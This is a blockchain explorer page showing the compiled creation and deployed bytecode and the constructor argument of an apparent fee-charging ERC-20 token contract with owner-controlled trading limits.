60a06040526c01431e0fae6d7217caa0000000600a55600b805461ffff19169055601280546001600160a01b0319908116738853ed1252b249bc54a0beeabff5a039234e9cbd90811790925560138054821690921790915560148054821673c235385a15151d6aa3b27f7d8d9939349f369c6e1790556015805490911673a41cf4bbd11204d0984a6b984c612335e0a99039179055348015620000a157600080fd5b506040516200228038038062002280833981016040819052620000c491620005bc565b6040518060400160405280600a81526020016928bab2b9ba1021b7b4b760b11b8152506040518060400160405280600581526020016414555154d560da1b815250816003908162000116919062000692565b50600462000125828262000692565b505050620001426200013c620003f660201b60201c565b620003fa565b737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052600980546001600160a01b0319166001600160a01b03841617905560005260176020527f6ed4a2ad7fcc8c909e132e6944330e092422b135566df0c96615e85c6f709ad8805460ff191660011790556001600160a01b0381166000908152601760205260409020805460ff19166001179055601180546001600160a01b031916331790556003600c819055600d55600a54606490620001fc908262000774565b62000208919062000794565b600e55600a546064906200021d908262000774565b62000229919062000794565b600f5560058054336001600160a01b031991821681179092556006805490911690911790556200026d620002656007546001600160a01b031690565b60016200044c565b6200027a8160016200044c565b620002873060016200044c565b6200029661dead60016200044c565b620002d1620002ad6007546001600160a01b031690565b6001600160a01b03166000908152601760205260409020805460ff19166001179055565b306000908152601760205260409020805460ff1916600117905561dead60005260176020527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b0303805460ff19166001179055601154600a5462000359916001600160a01b0316906064906200034790601462000774565b62000353919062000794565b620004ab565b601254600a546200037e916001600160a01b0316906064906200034790600f62000774565b601354600a54620003a4916001600160a01b0316906103e890620003479060af62000774565b601454600a54620003c9916001600160a01b0316906064906200034790602862000774565b601554600a54620003ef916001600160a01b0316906103e8906200034790604b62000774565b50620007cd565b3390565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260166020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620005065760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600260008282546200051a9190620007b7565b90915550506001600160a01b038083166000818152602081905260409020805484019055600654909116900362000583576005546040518281526001600160a01b0390911690600090600080516020620022608339815191529060200160405180910390a35050565b6040518181526001600160a01b03831690600090600080516020620022608339815191529060200160405180910390a35050565b505050565b600060208284031215620005cf57600080fd5b81516001600160a01b0381168114620005e757600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200061957607f821691505b6020821081036200063a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005b757600081815260208120601f850160051c81016020861015620006695750805b601f850160051c820191505b818110156200068a5782815560010162000675565b505050505050565b81516001600160401b03811115620006ae57620006ae620005ee565b620006c681620006bf845462000604565b8462000640565b602080601f831160018114620006fe5760008415620006e55750858301515b600019600386901b1c1916600185901b1785556200068a565b600085815260208120601f198616915b828110156200072f578886015182559484019460019091019084016200070e565b50858210156200074e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176200078e576200078e6200075e565b92915050565b600082620007b257634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156200078e576200078e6200075e565b608051611a5b620008056000396000818161080b0152818161089c015281816109e001528181610ea50152610f500152611a5b6000f3fe60806040526004361061016a5760003560e01c8063715018a6116100d1578063b62496f51161008a578063dd62ed3e11610064578063dd62ed3e1461044c578063eab4d2d51461046c578063f2fde38b146104af578063ffb54a99146104cf57600080fd5b8063b62496f5146103f2578063c9567bf914610422578063db2e21bc1461043757600080fd5b8063715018a61461034a5780638da5cb5b1461035f57806395d89b411461037d5780639a7a23d614610392578063a457c2d7146103b2578063a9059cbb146103d257600080fd5b8063313ce56711610123578063313ce5671461026a578063395093511461028657806346073115146102a657806349bd5a5e146102bb5780634fbee193146102db57806370a082311461031457600080fd5b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101d15780631f9f9082146101f057806323b872dd14610212578063250e39b11461023257600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104e9565b60405161019891906116c8565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc36600461172b565b61057b565b6040519015158152602001610198565b3480156101dd57600080fd5b506002545b604051908152602001610198565b3480156101fc57600080fd5b5061021061020b366004611757565b610595565b005b34801561021e57600080fd5b506101c161022d366004611779565b610604565b34801561023e57600080fd5b50601154610252906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b34801561027657600080fd5b5060405160128152602001610198565b34801561029257600080fd5b506101c16102a136600461172b565b610628565b3480156102b257600080fd5b5061021061064a565b3480156102c757600080fd5b50600854610252906001600160a01b031681565b3480156102e757600080fd5b506101c16102f63660046117ba565b6001600160a01b031660009081526016602052604090205460ff1690565b34801561032057600080fd5b506101e261032f3660046117ba565b6001600160a01b031660009081526020819052604090205490565b34801561035657600080fd5b50610210610668565b34801561036b57600080fd5b506007546001600160a01b0316610252565b34801561038957600080fd5b5061018b61067c565b34801561039e57600080fd5b506102106103ad3660046117de565b61068b565b3480156103be57600080fd5b506101c16103cd36600461172b565b610725565b3480156103de57600080fd5b506101c16103ed36600461172b565b6107a0565b3480156103fe57600080fd5b506101c161040d3660046117ba565b60106020526000908152604090205460ff1681565b34801561042e57600080fd5b506102106107ae565b34801561044357600080fd5b50610210610a16565b34801561045857600080fd5b506101e261046736600461181c565b610a3a565b34801561047857600080fd5b50600c54600d54600e54600f5461048f9392919084565b604080519485526020850193909352918301526060820152608001610198565b3480156104bb57600080fd5b506102106104ca3660046117ba565b610a65565b3480156104db57600080fd5b50600b546101c19060ff1681565b6060600380546104f89061184a565b80601f01602080910402602001604051908101604052809291908181526020018280546105249061184a565b80156105715780601f1061054657610100808354040283529160200191610571565b820191906000526020600020905b81548152906001019060200180831161055457829003601f168201915b5050505050905090565b600033610589818585610ade565b60019150505b92915050565b61059d610c02565b601e82111580156105af575060648111155b6105f95760405162461bcd60e51b8152602060048201526016602482015275466565732063616e6e6f74206578636565642033302560501b60448201526064015b60405180910390fd5b600c91909155600d55565b600033610612858285610c5c565b61061d858585610cd6565b506001949350505050565b60003361058981858561063b8383610a3a565b610645919061189a565b610ade565b610652610c02565b600061065d60025490565b600e819055600f5550565b610670610c02565b61067a60006110b3565b565b6060600480546104f89061184a565b610693610c02565b6008546001600160a01b03908116908316036107175760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084016105f0565b6107218282611105565b5050565b600033816107338286610a3a565b9050838110156107935760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105f0565b61061d8286868403610ade565b600033610589818585610cd6565b6107b6610c02565b600b5460ff16156108095760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105f0565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610867573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088b91906118ad565b6001600160a01b031663e6a43905307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091c91906118ad565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610967573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098b91906118ad565b600880546001600160a01b0319166001600160a01b039290921691821790556000908152601760205260409020805460ff191660011790556008546109da906001600160a01b03166001611105565b610a07307f0000000000000000000000000000000000000000000000000000000000000000600019610ade565b600b805460ff19166001179055565b610a1e610c02565b3060008181526020819052604090205461067a91903390611159565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610a6d610c02565b6001600160a01b038116610ad25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f0565b610adb816110b3565b50565b6001600160a01b038316610b405760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f0565b6001600160a01b038216610ba15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f0565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6007546001600160a01b0316331461067a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105f0565b6000610c688484610a3a565b90506000198114610cd05781811015610cc35760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016105f0565b610cd08484848403610ade565b50505050565b6001600160a01b038316610cfc5760405162461bcd60e51b81526004016105f0906118ca565b6001600160a01b038216610d225760405162461bcd60e51b81526004016105f09061190f565b80600003610d3b57610d3683836000611159565b505050565b6007546001600160a01b03848116911614801590610d6757506007546001600160a01b03838116911614155b8015610d7b57506001600160a01b03821615155b8015610d9257506001600160a01b03821661dead14155b15610da257610da283838361133c565b3060009081526020819052604090205480158015908190610dcb5750600b54610100900460ff16155b8015610df057506001600160a01b03851660009081526010602052604090205460ff16155b8015610e1557506001600160a01b03851660009081526016602052604090205460ff16155b8015610e3a57506001600160a01b03841660009081526016602052604090205460ff16155b156110a157600b805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e8357610e83611952565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2591906118ad565b81600181518110610f3857610f38611952565b6001600160a01b0392831660209182029290920101527f00000000000000000000000000000000000000000000000000000000000000001663791ac9478460008430610f8642610e1061189a565b6040518663ffffffff1660e01b8152600401610fa6959493929190611968565b600060405180830381600087803b158015610fc057600080fd5b505af1925050508015610fd1575060015b61103e573d808015610fff576040519150601f19603f3d011682016040523d82523d6000602084013e611004565b606091505b507f4ecb9b6d2e2efee3f1b1b86927f5895fc3f627ac91d5ebfe344df8ae1eec07238160405161103491906116c8565b60405180910390a1505b6009546040516000916001600160a01b03169047908381818185875af1925050503d806000811461108b576040519150601f19603f3d011682016040523d82523d6000602084013e611090565b606091505b5050600b805461ff00191690555050505b6110ac8585856115e3565b5050505050565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260106020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b03831661117f5760405162461bcd60e51b81526004016105f0906118ca565b6001600160a01b0382166111a55760405162461bcd60e51b81526004016105f09061190f565b6001600160a01b0383166000908152602081905260409020548181101561121d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105f0565b6001600160a01b03808516600081815260208190526040808220868603905586841682529020805485019055600654909116900361129f576005546040518381526001600160a01b038581169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a3610cd0565b6006546001600160a01b03908116908416036112f7576005546040518381526001600160a01b03918216918616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001611292565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161129291815260200190565b600b5460ff166113ca576001600160a01b03831660009081526016602052604090205460ff168061138557506001600160a01b03821660009081526016602052604090205460ff165b6113ca5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016105f0565b6001600160a01b03831660009081526010602052604090205460ff16801561140b57506001600160a01b03821660009081526017602052604090205460ff16155b156114eb57600e548111156114805760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b60648201526084016105f0565b600f546001600160a01b0383166000908152602081905260409020545b6114a7908361189a565b1115610d365760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016105f0565b6001600160a01b03821660009081526010602052604090205460ff16801561152c57506001600160a01b03831660009081526017602052604090205460ff16155b156115a257600e54811115610d365760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b60648201526084016105f0565b6001600160a01b03821660009081526017602052604090205460ff16610d3657600f546001600160a01b03831660009081526020819052604090205461149d565b600b546001600160a01b03841660009081526016602052604090205460ff61010090920482161591168061162f57506001600160a01b03831660009081526016602052604090205460ff165b15611638575060005b600081156116bd576001600160a01b03841660009081526010602052604090205460ff161561168257600d5460649061167190856119d9565b61167b91906119f0565b905061169f565b600c5460649061169290856119d9565b61169c91906119f0565b90505b80156116b0576116b0853083611159565b6116ba8184611a12565b92505b6110ac858585611159565b600060208083528351808285015260005b818110156116f5578581018301518582016040015282016116d9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610adb57600080fd5b6000806040838503121561173e57600080fd5b823561174981611716565b946020939093013593505050565b6000806040838503121561176a57600080fd5b50508035926020909101359150565b60008060006060848603121561178e57600080fd5b833561179981611716565b925060208401356117a981611716565b929592945050506040919091013590565b6000602082840312156117cc57600080fd5b81356117d781611716565b9392505050565b600080604083850312156117f157600080fd5b82356117fc81611716565b91506020830135801515811461181157600080fd5b809150509250929050565b6000806040838503121561182f57600080fd5b823561183a81611716565b9150602083013561181181611716565b600181811c9082168061185e57607f821691505b60208210810361187e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561058f5761058f611884565b6000602082840312156118bf57600080fd5b81516117d781611716565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119b85784516001600160a01b031683529383019391830191600101611993565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761058f5761058f611884565b600082611a0d57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561058f5761058f61188456fea264697066735822122077367c5625762371d6a6744e785555e21551969f3a667c521c1cc8b0c6e3e76f64736f6c63430008120033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef00000000000000000000000037a0ba6a4d9bc57c5423988fe75ec6b3cedc22e0
Deployed Bytecode
0x60806040526004361061016a5760003560e01c8063715018a6116100d1578063b62496f51161008a578063dd62ed3e11610064578063dd62ed3e1461044c578063eab4d2d51461046c578063f2fde38b146104af578063ffb54a99146104cf57600080fd5b8063b62496f5146103f2578063c9567bf914610422578063db2e21bc1461043757600080fd5b8063715018a61461034a5780638da5cb5b1461035f57806395d89b411461037d5780639a7a23d614610392578063a457c2d7146103b2578063a9059cbb146103d257600080fd5b8063313ce56711610123578063313ce5671461026a578063395093511461028657806346073115146102a657806349bd5a5e146102bb5780634fbee193146102db57806370a082311461031457600080fd5b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101d15780631f9f9082146101f057806323b872dd14610212578063250e39b11461023257600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104e9565b60405161019891906116c8565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc36600461172b565b61057b565b6040519015158152602001610198565b3480156101dd57600080fd5b506002545b604051908152602001610198565b3480156101fc57600080fd5b5061021061020b366004611757565b610595565b005b34801561021e57600080fd5b506101c161022d366004611779565b610604565b34801561023e57600080fd5b50601154610252906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b34801561027657600080fd5b5060405160128152602001610198565b34801561029257600080fd5b506101c16102a136600461172b565b610628565b3480156102b257600080fd5b5061021061064a565b3480156102c757600080fd5b50600854610252906001600160a01b031681565b3480156102e757600080fd5b506101c16102f63660046117ba565b6001600160a01b031660009081526016602052604090205460ff1690565b34801561032057600080fd5b506101e261032f3660046117ba565b6001600160a01b031660009081526020819052604090205490565b34801561035657600080fd5b50610210610668565b34801561036b57600080fd5b506007546001600160a01b0316610252565b34801561038957600080fd5b5061018b61067c565b34801561039e57600080fd5b506102106103ad3660046117de565b61068b565b3480156103be57600080fd5b506101c16103cd36600461172b565b610725565b3480156103de57600080fd5b506101c16103ed36600461172b565b6107a0565b3480156103fe57600080fd5b506101c161040d3660046117ba565b60106020526000908152604090205460ff1681565b34801561042e57600080fd5b506102106107ae565b34801561044357600080fd5b50610210610a16565b34801561045857600080fd5b506101e261046736600461181c565b610a3a565b34801561047857600080fd5b50600c54600d54600e54600f5461048f9392919084565b604080519485526020850193909352918301526060820152608001610198565b3480156104bb57600080fd5b506102106104ca3660046117ba565b610a65565b3480156104db57600080fd5b50600b546101c19060ff1681565b6060600380546104f89061184a565b80601f01602080910402602001604051908101604052809291908181526020018280546105249061184a565b80156105715780601f1061054657610100808354040283529160200191610571565b820191906000526020600020905b81548152906001019060200180831161055457829003601f168201915b5050505050905090565b600033610589818585610ade565b60019150505b92915050565b61059d610c02565b601e82111580156105af575060648111155b6105f95760405162461bcd60e51b8152602060048201526016602482015275466565732063616e6e6f74206578636565642033302560501b60448201526064015b60405180910390fd5b600c91909155600d55565b600033610612858285610c5c565b61061d858585610cd6565b506001949350505050565b60003361058981858561063b8383610a3a565b610645919061189a565b610ade565b610652610c02565b600061065d60025490565b600e819055600f5550565b610670610c02565b61067a60006110b3565b565b6060600480546104f89061184a565b610693610c02565b6008546001600160a01b03908116908316036107175760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084016105f0565b6107218282611105565b5050565b600033816107338286610a3a565b9050838110156107935760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105f0565b61061d8286868403610ade565b600033610589818585610cd6565b6107b6610c02565b600b5460ff16156108095760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105f0565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610867573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088b91906118ad565b6001600160a01b031663e6a43905307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091c91906118ad565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610967573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098b91906118ad565b600880546001600160a01b0319166001600160a01b039290921691821790556000908152601760205260409020805460ff191660011790556008546109da906001600160a01b03166001611105565b610a07307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d600019610ade565b600b805460ff19166001179055565b610a1e610c02565b3060008181526020819052604090205461067a91903390611159565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610a6d610c02565b6001600160a01b038116610ad25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f0565b610adb816110b3565b50565b6001600160a01b038316610b405760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f0565b6001600160a01b038216610ba15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f0565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6007546001600160a01b0316331461067a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105f0565b6000610c688484610a3a565b90506000198114610cd05781811015610cc35760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016105f0565b610cd08484848403610ade565b50505050565b6001600160a01b038316610cfc5760405162461bcd60e51b81526004016105f0906118ca565b6001600160a01b038216610d225760405162461bcd60e51b81526004016105f09061190f565b80600003610d3b57610d3683836000611159565b505050565b6007546001600160a01b03848116911614801590610d6757506007546001600160a01b03838116911614155b8015610d7b57506001600160a01b03821615155b8015610d9257506001600160a01b03821661dead14155b15610da257610da283838361133c565b3060009081526020819052604090205480158015908190610dcb5750600b54610100900460ff16155b8015610df057506001600160a01b03851660009081526010602052604090205460ff16155b8015610e1557506001600160a01b03851660009081526016602052604090205460ff16155b8015610e3a57506001600160a01b03841660009081526016602052604090205460ff16155b156110a157600b805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e8357610e83611952565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2591906118ad565b81600181518110610f3857610f38611952565b6001600160a01b0392831660209182029290920101527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1663791ac9478460008430610f8642610e1061189a565b6040518663ffffffff1660e01b8152600401610fa6959493929190611968565b600060405180830381600087803b158015610fc057600080fd5b505af1925050508015610fd1575060015b61103e573d808015610fff576040519150601f19603f3d011682016040523d82523d6000602084013e611004565b606091505b507f4ecb9b6d2e2efee3f1b1b86927f5895fc3f627ac91d5ebfe344df8ae1eec07238160405161103491906116c8565b60405180910390a1505b6009546040516000916001600160a01b03169047908381818185875af1925050503d806000811461108b576040519150601f19603f3d011682016040523d82523d6000602084013e611090565b606091505b5050600b805461ff00191690555050505b6110ac8585856115e3565b5050505050565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260106020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b03831661117f5760405162461bcd60e51b81526004016105f0906118ca565b6001600160a01b0382166111a55760405162461bcd60e51b81526004016105f09061190f565b6001600160a01b0383166000908152602081905260409020548181101561121d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105f0565b6001600160a01b03808516600081815260208190526040808220868603905586841682529020805485019055600654909116900361129f576005546040518381526001600160a01b038581169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a3610cd0565b6006546001600160a01b03908116908416036112f7576005546040518381526001600160a01b03918216918616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001611292565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161129291815260200190565b600b5460ff166113ca576001600160a01b03831660009081526016602052604090205460ff168061138557506001600160a01b03821660009081526016602052604090205460ff165b6113ca5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016105f0565b6001600160a01b03831660009081526010602052604090205460ff16801561140b57506001600160a01b03821660009081526017602052604090205460ff16155b156114eb57600e548111156114805760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b60648201526084016105f0565b600f546001600160a01b0383166000908152602081905260409020545b6114a7908361189a565b1115610d365760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016105f0565b6001600160a01b03821660009081526010602052604090205460ff16801561152c57506001600160a01b03831660009081526017602052604090205460ff16155b156115a257600e54811115610d365760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b60648201526084016105f0565b6001600160a01b03821660009081526017602052604090205460ff16610d3657600f546001600160a01b03831660009081526020819052604090205461149d565b600b546001600160a01b03841660009081526016602052604090205460ff61010090920482161591168061162f57506001600160a01b03831660009081526016602052604090205460ff165b15611638575060005b600081156116bd576001600160a01b03841660009081526010602052604090205460ff161561168257600d5460649061167190856119d9565b61167b91906119f0565b905061169f565b600c5460649061169290856119d9565b61169c91906119f0565b90505b80156116b0576116b0853083611159565b6116ba8184611a12565b92505b6110ac858585611159565b600060208083528351808285015260005b818110156116f5578581018301518582016040015282016116d9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610adb57600080fd5b6000806040838503121561173e57600080fd5b823561174981611716565b946020939093013593505050565b6000806040838503121561176a57600080fd5b50508035926020909101359150565b60008060006060848603121561178e57600080fd5b833561179981611716565b925060208401356117a981611716565b929592945050506040919091013590565b6000602082840312156117cc57600080fd5b81356117d781611716565b9392505050565b600080604083850312156117f157600080fd5b82356117fc81611716565b91506020830135801515811461181157600080fd5b809150509250929050565b6000806040838503121561182f57600080fd5b823561183a81611716565b9150602083013561181181611716565b600181811c9082168061185e57607f821691505b60208210810361187e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561058f5761058f611884565b6000602082840312156118bf57600080fd5b81516117d781611716565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119b85784516001600160a01b031683529383019391830191600101611993565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761058f5761058f611884565b600082611a0d57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561058f5761058f61188456fea264697066735822122077367c5625762371d6a6744e785555e21551969f3a667c521c1cc8b0c6e3e76f64736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000037a0ba6a4d9bc57c5423988fe75ec6b3cedc22e0
-----Decoded View---------------
Arg [0] : wallet (address): 0x37A0ba6A4d9bC57c5423988FE75EC6B3ceDc22e0
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000037a0ba6a4d9bc57c5423988fe75ec6b3cedc22e0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.